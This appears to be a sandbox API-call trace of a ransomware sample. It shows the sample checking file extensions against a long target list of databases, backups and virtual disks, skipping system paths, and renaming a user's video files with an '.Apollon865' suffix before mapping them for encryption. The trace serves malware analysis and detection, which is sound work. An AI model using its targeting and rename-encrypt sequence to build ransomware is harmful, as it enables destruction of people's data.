	[0086.568] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.568] lstrlenW (lpString="mdbhtml") returned 7
	[0086.568] lstrcmpiW (lpString1="p4-.avi", lpString2="mdbhtml") returned 1
	[0086.568] lstrlenW (lpString="mdn") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.568] lstrlenW (lpString="mdt") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.568] lstrlenW (lpString="mfd") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.568] lstrlenW (lpString="mpd") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.568] lstrlenW (lpString="mrg") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.568] lstrlenW (lpString="mud") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.568] lstrlenW (lpString="mwb") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.568] lstrlenW (lpString="myd") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.568] lstrlenW (lpString="ndf") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.568] lstrlenW (lpString="nnt") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.568] lstrlenW (lpString="nrmlib") returned 6
	[0086.568] lstrcmpiW (lpString1="4-.avi", lpString2="nrmlib") returned -1
	[0086.568] lstrlenW (lpString="ns2") returned 3
	[0086.568] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.568] lstrlenW (lpString="ns3") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.569] lstrlenW (lpString="ns4") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.569] lstrlenW (lpString="nsf") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.569] lstrlenW (lpString="nv") returned 2
	[0086.569] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.569] lstrlenW (lpString="nv2") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.569] lstrlenW (lpString="nwdb") returned 4
	[0086.569] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.569] lstrlenW (lpString="nyf") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.569] lstrlenW (lpString="odb") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.569] lstrlenW (lpString="odb") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.569] lstrlenW (lpString="oqy") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.569] lstrlenW (lpString="ora") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.569] lstrlenW (lpString="orx") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.569] lstrlenW (lpString="owc") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.569] lstrlenW (lpString="p96") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.569] lstrlenW (lpString="p97") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.569] lstrlenW (lpString="pan") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.569] lstrlenW (lpString="pdb") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.569] lstrlenW (lpString="pdm") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.569] lstrlenW (lpString="pnz") returned 3
	[0086.569] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.570] lstrlenW (lpString="qry") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.570] lstrlenW (lpString="qvd") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.570] lstrlenW (lpString="rbf") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.570] lstrlenW (lpString="rctd") returned 4
	[0086.570] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.570] lstrlenW (lpString="rod") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.570] lstrlenW (lpString="rodx") returned 4
	[0086.570] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.570] lstrlenW (lpString="rpd") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.570] lstrlenW (lpString="rsd") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.570] lstrlenW (lpString="sas7bdat") returned 8
	[0086.570] lstrcmpiW (lpString1="Np4-.avi", lpString2="sas7bdat") returned -1
	[0086.570] lstrlenW (lpString="sbf") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.570] lstrlenW (lpString="scx") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.570] lstrlenW (lpString="sdb") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.570] lstrlenW (lpString="sdc") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.570] lstrlenW (lpString="sdf") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.570] lstrlenW (lpString="sis") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.570] lstrlenW (lpString="spq") returned 3
	[0086.570] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.570] lstrlenW (lpString="te") returned 2
	[0086.570] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.570] lstrlenW (lpString="teacher") returned 7
	[0086.570] lstrcmpiW (lpString1="p4-.avi", lpString2="teacher") returned -1
	[0086.571] lstrlenW (lpString="tmd") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.571] lstrlenW (lpString="tps") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.571] lstrlenW (lpString="trc") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.571] lstrlenW (lpString="trc") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.571] lstrlenW (lpString="trm") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.571] lstrlenW (lpString="udb") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.571] lstrlenW (lpString="udl") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.571] lstrlenW (lpString="usr") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.571] lstrlenW (lpString="v12") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.571] lstrlenW (lpString="vis") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.571] lstrlenW (lpString="vpd") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.571] lstrlenW (lpString="vvv") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.571] lstrlenW (lpString="wdb") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.571] lstrlenW (lpString="wmdb") returned 4
	[0086.571] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.571] lstrlenW (lpString="wrk") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.571] lstrlenW (lpString="xdb") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.571] lstrlenW (lpString="xld") returned 3
	[0086.571] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.571] lstrlenW (lpString="xmlff") returned 5
	[0086.571] lstrcmpiW (lpString1="-.avi", lpString2="xmlff") returned -1
	[0086.572] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\IDNp4-.avi.Apollon865") returned 90
	[0086.572] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\IDNp4-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\idnp4-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\IDNp4-.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\idnp4-.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\IDNp4-.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\idnp4-.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.572] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=55691) returned 1
	[0086.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.573] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.574] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.574] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.574] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc90, lpName=0x0) returned 0x15c
	[0086.574] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc90) returned 0x100000
	[0086.576] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.577] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.577] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.578] CloseHandle (hObject=0x15c) returned 1
	[0086.578] CloseHandle (hObject=0x9c) returned 1
	[0086.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.579] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf770b540, ftCreationTime.dwHighDateTime=0x1d4d0af, ftLastAccessTime.dwLowDateTime=0x8cab54b0, ftLastAccessTime.dwHighDateTime=0x1d4d0df, ftLastWriteTime.dwLowDateTime=0x8cab54b0, ftLastWriteTime.dwHighDateTime=0x1d4d0df, nFileSizeHigh=0x0, nFileSizeLow=0x1798d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xq1LW83F-TEu.avi", cAlternateFileName="XQ1LW8~1.AVI")) returned 1
	[0086.579] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.579] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="Apollon865.txt.exe") returned 1
	[0086.579] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".") returned 1
	[0086.579] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="..") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="windows") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="bootmgr") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="temp") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="pagefile.sys") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="boot") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="ids.txt") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="ntuser.dat") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="perflogs") returned 1
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2="MSBuild") returned 1
	[0086.580] lstrlenW (lpString="xq1LW83F-TEu.avi") returned 16
	[0086.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\IDNp4-.avi") returned 79
	[0086.580] lstrcpyW (in: lpString1=0x119e692, lpString2="xq1LW83F-TEu.avi" | out: lpString1="xq1LW83F-TEu.avi") returned="xq1LW83F-TEu.avi"
	[0086.580] lstrlenW (lpString="xq1LW83F-TEu.avi") returned 16
	[0086.580] lstrlenW (lpString="Apollon865") returned 10
	[0086.580] lstrcmpiW (lpString1="3F-TEu.avi", lpString2="Apollon865") returned -1
	[0086.580] lstrlenW (lpString=".dll") returned 4
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".dll") returned 1
	[0086.580] lstrlenW (lpString=".lnk") returned 4
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".lnk") returned 1
	[0086.580] lstrlenW (lpString=".ini") returned 4
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".ini") returned 1
	[0086.580] lstrlenW (lpString=".sys") returned 4
	[0086.580] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".sys") returned 1
	[0086.580] lstrlenW (lpString="xq1LW83F-TEu.avi") returned 16
	[0086.580] lstrlenW (lpString="bak") returned 3
	[0086.580] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.580] lstrlenW (lpString="ba_") returned 3
	[0086.580] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.580] lstrlenW (lpString="dbb") returned 3
	[0086.580] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.580] lstrlenW (lpString="vmdk") returned 4
	[0086.580] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.580] lstrlenW (lpString="rar") returned 3
	[0086.580] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.581] lstrlenW (lpString="zip") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.581] lstrlenW (lpString="tgz") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.581] lstrlenW (lpString="vbox") returned 4
	[0086.581] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.581] lstrlenW (lpString="vdi") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.581] lstrlenW (lpString="vhd") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.581] lstrlenW (lpString="vhdx") returned 4
	[0086.581] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.581] lstrlenW (lpString="avhd") returned 4
	[0086.581] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.581] lstrlenW (lpString="db") returned 2
	[0086.581] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.581] lstrlenW (lpString="db2") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.581] lstrlenW (lpString="db3") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.581] lstrlenW (lpString="dbf") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.581] lstrlenW (lpString="mdf") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.581] lstrlenW (lpString="mdb") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.581] lstrlenW (lpString="sql") returned 3
	[0086.581] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.581] lstrlenW (lpString="sqlite") returned 6
	[0086.581] lstrcmpiW (lpString1="Eu.avi", lpString2="sqlite") returned -1
	[0086.581] lstrlenW (lpString="sqlite3") returned 7
	[0086.581] lstrcmpiW (lpString1="TEu.avi", lpString2="sqlite3") returned 1
	[0086.581] lstrlenW (lpString="sqlitedb") returned 8
	[0086.581] lstrcmpiW (lpString1="-TEu.avi", lpString2="sqlitedb") returned 1
	[0086.582] lstrlenW (lpString="xml") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.582] lstrlenW (lpString="$er") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.582] lstrlenW (lpString="4dd") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.582] lstrlenW (lpString="4dl") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.582] lstrlenW (lpString="^^^") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.582] lstrlenW (lpString="abs") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.582] lstrlenW (lpString="abx") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.582] lstrlenW (lpString="accdb") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accdb") returned 1
	[0086.582] lstrlenW (lpString="accdc") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accdc") returned 1
	[0086.582] lstrlenW (lpString="accde") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accde") returned 1
	[0086.582] lstrlenW (lpString="accdr") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accdr") returned 1
	[0086.582] lstrlenW (lpString="accdt") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accdt") returned 1
	[0086.582] lstrlenW (lpString="accdw") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accdw") returned 1
	[0086.582] lstrlenW (lpString="accft") returned 5
	[0086.582] lstrcmpiW (lpString1="u.avi", lpString2="accft") returned 1
	[0086.582] lstrlenW (lpString="adb") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.582] lstrlenW (lpString="adb") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.582] lstrlenW (lpString="ade") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.582] lstrlenW (lpString="adf") returned 3
	[0086.582] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.582] lstrlenW (lpString="adn") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.583] lstrlenW (lpString="adp") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.583] lstrlenW (lpString="alf") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.583] lstrlenW (lpString="ask") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.583] lstrlenW (lpString="btr") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.583] lstrlenW (lpString="cat") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.583] lstrlenW (lpString="cdb") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.583] lstrlenW (lpString="ckp") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.583] lstrlenW (lpString="cma") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.583] lstrlenW (lpString="cpd") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.583] lstrlenW (lpString="dacpac") returned 6
	[0086.583] lstrcmpiW (lpString1="Eu.avi", lpString2="dacpac") returned 1
	[0086.583] lstrlenW (lpString="dad") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.583] lstrlenW (lpString="dadiagrams") returned 10
	[0086.583] lstrcmpiW (lpString1="3F-TEu.avi", lpString2="dadiagrams") returned -1
	[0086.583] lstrlenW (lpString="daschema") returned 8
	[0086.583] lstrcmpiW (lpString1="-TEu.avi", lpString2="daschema") returned 1
	[0086.583] lstrlenW (lpString="db-journal") returned 10
	[0086.583] lstrcmpiW (lpString1="3F-TEu.avi", lpString2="db-journal") returned -1
	[0086.583] lstrlenW (lpString="db-shm") returned 6
	[0086.583] lstrcmpiW (lpString1="Eu.avi", lpString2="db-shm") returned 1
	[0086.583] lstrlenW (lpString="db-wal") returned 6
	[0086.583] lstrcmpiW (lpString1="Eu.avi", lpString2="db-wal") returned 1
	[0086.583] lstrlenW (lpString="dbc") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.583] lstrlenW (lpString="dbs") returned 3
	[0086.583] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.584] lstrlenW (lpString="dbt") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.584] lstrlenW (lpString="dbv") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.584] lstrlenW (lpString="dbx") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.584] lstrlenW (lpString="dcb") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.584] lstrlenW (lpString="dct") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.584] lstrlenW (lpString="dcx") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.584] lstrlenW (lpString="ddl") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.584] lstrlenW (lpString="dlis") returned 4
	[0086.584] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.584] lstrlenW (lpString="dp1") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.584] lstrlenW (lpString="dqy") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.584] lstrlenW (lpString="dsk") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.584] lstrlenW (lpString="dsn") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.584] lstrlenW (lpString="dtsx") returned 4
	[0086.584] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.584] lstrlenW (lpString="dxl") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.584] lstrlenW (lpString="eco") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.584] lstrlenW (lpString="ecx") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.584] lstrlenW (lpString="edb") returned 3
	[0086.584] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.584] lstrlenW (lpString="epim") returned 4
	[0086.584] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.585] lstrlenW (lpString="fcd") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.585] lstrlenW (lpString="fdb") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.585] lstrlenW (lpString="fic") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.585] lstrlenW (lpString="flexolibrary") returned 12
	[0086.585] lstrcmpiW (lpString1="W83F-TEu.avi", lpString2="flexolibrary") returned 1
	[0086.585] lstrlenW (lpString="fm5") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.585] lstrlenW (lpString="fmp") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.585] lstrlenW (lpString="fmp12") returned 5
	[0086.585] lstrcmpiW (lpString1="u.avi", lpString2="fmp12") returned 1
	[0086.585] lstrlenW (lpString="fmpsl") returned 5
	[0086.585] lstrcmpiW (lpString1="u.avi", lpString2="fmpsl") returned 1
	[0086.585] lstrlenW (lpString="fol") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.585] lstrlenW (lpString="fp3") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.585] lstrlenW (lpString="fp4") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.585] lstrlenW (lpString="fp5") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.585] lstrlenW (lpString="fp7") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.585] lstrlenW (lpString="fpt") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.585] lstrlenW (lpString="frm") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.585] lstrlenW (lpString="gdb") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.585] lstrlenW (lpString="gdb") returned 3
	[0086.585] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.585] lstrlenW (lpString="grdb") returned 4
	[0086.585] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.586] lstrlenW (lpString="gwi") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
